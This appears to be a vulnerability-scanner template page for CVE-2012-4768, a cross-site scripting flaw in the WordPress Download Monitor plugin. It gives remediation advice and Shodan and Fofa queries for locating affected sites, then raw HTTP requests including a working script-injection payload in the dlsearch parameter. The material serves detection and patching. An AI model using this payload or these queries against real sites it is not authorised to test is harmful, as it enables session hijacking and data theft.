| Title | WordPress Plugin Download Monitor < 3.3.5.9 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of Download Monitor (3.3.5.9 or higher) or apply the official patch provided by the plugin developer. |
| CVSS Score | 4.3 |
| EPSS Score | 0.01936 |
| CVE ID | CVE-2012-4768 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"/wp-content/plugins/download-monitor/" |
| Fofa Query | body="/wp-content/plugins/download-monitor/" |
| Tags | cve cve2012 xss wp-plugin packetstorm wordpress mikejolley vuln |
A cross-site scripting vulnerability in the Download Monitor plugin before 3.3.5.9 for WordPress allows remote attackers to inject arbitrary web script or HTML via the dlsearch parameter to the default URI.
GET /wp-content/plugins/download-monitor/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /?dlsearch=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13) AppleWebKit/619.4 (KHTML, like Gecko) Version/16.1.13 Safari/619.4
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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